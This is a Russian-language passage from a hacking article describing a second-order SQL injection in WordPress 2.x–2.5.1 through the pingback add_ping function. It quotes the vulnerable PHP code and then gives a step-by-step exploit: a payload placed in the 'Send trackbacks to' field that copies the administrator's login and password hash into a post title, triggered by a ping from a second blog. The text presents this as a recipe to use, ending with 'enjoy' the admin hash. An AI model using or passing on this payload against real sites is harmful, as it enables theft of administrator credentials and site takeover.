4. Pingback SQL Injection (2.x<=WordPress<=2.5.1)
Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз-таки не технологии Pingback и Trackback.
Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2(!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и правами author/editor (WordPress MU also affected).
Итак, для наглядности возьмем подопытный движок за номером 2.3.3.
Открывай ./wp-includes/post.php и находи в нем такой код:
Код:
function add_ping($post_id, $uri) { // Add a URL to those already pung
global $wpdb;
$pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id");
$pung = trim($pung);
$pung = preg_split('/\s/', $pung);
$pung[] = $uri;
$new = implode("\n", $pung);
$new = apply_filters('add_ping', $new);
return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id");
}
Небольшие раскопки дают понять, что фильтра "add_ping" не существует в коде движка.
Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!
А теперь о способе эксплуатации данной уязвимости. Запасись терпением

Чтобы использовать баг, тебе необходимо две инсталляции ВордПресса:
1. Все равно какой версии. Создай новый пост с любым тайтлом и с содержимым:
Код:
<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>
Запомни адрес созданного поста (пусть, например, он будет http://lamer/wp1/?p=2)
2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле "Send trackbacks to:" пиши:
Код:
test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah
Теперь сохраняй пост.
Снова заходи в редактирование этого поста, но теперь редактируй само его содержимое и вставляй туда ссылку в html-формате на пост из первого блога
Код:
<a href="http://lamer/wp1/?p=2">pingme</a>
Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа
